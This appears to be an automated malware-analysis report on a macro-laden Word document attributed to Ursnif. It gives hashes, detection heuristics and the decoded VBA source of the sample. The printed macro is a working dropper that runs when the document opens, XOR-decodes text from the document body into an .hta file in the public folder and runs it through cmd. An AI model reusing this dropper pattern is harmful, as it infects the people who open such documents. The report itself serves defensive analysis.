Ursnif — Office (OOXML) malware analysis

Static analysis result for SHA-256 28b9812e07da70ea…

MALICIOUS

Office (OOXML)

50.4 KB Created: 2021-06-28 10:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: 0f71162c34cd8bd026b0a8eaf050e76e SHA-1: 0b37a431827b0a14e8f7c31b0bb260d99cbe82d4 SHA-256: 28b9812e07da70eac8265a702ed1ca62687fc895b5ec0b11c0d60d5560d6e1fe
262 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with a Document_Open auto-execution macro. This macro calls a function that uses Shell() to execute 'cmd /c c:\users\public\selectArrayVba.h t a', indicating it downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Downloader.Ursnif06210-9875010-0' strongly suggests the Ursnif family.

Heuristics 7

  • ClamAV: Doc.Downloader.Ursnif06210-9875010-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Ursnif06210-9875010-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1360 bytes
SHA-256: 67975f14dce95e0ab81b7225af10f9c6818d32273241297ffb31012c53dbbf49
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
                        Sub Document_Open()
                                main
                        End Sub

Attribute VB_Name = "snglTableBefore"
Function boolClass(lstGlobal)
Shell indHeader("cmd /c ")
End Function
Function indHeader(lstGlobal, Optional varObjSelect = "c:\\users\\public\\selectArrayVba.h", Optional copyCaption = "t", Optional lngGen = "a")
indHeader = lstGlobal & varObjSelect & "" & copyCaption & lngGen
End Function
Function rAlt(arr As Variant)
Dim out As String
out = vbNullChar
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 101)
Next
rAlt = out
End Function

Attribute VB_Name = "boxRef"
Sub main()
namespaceRemoveSet
tplBoxGeneric = boolClass("")
End Sub

Attribute VB_Name = "reqSelect"
Sub namespaceRemoveSet()
Open indHeader("") For Output As #1
Print #1, rAlt(doubleLoad)
Close #1
End Sub
Function functionConvertDatabase(currencyW)
functionConvertDatabase = Split(currencyW, "#")
End Function
Function doubleLoad()
doubleLoad = functionConvertDatabase(ActiveDocument.Range.Text)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: b973ddcbc5d15623437b495d53752ca28d83fa5e299a38ea210ff6d5957ac1b9

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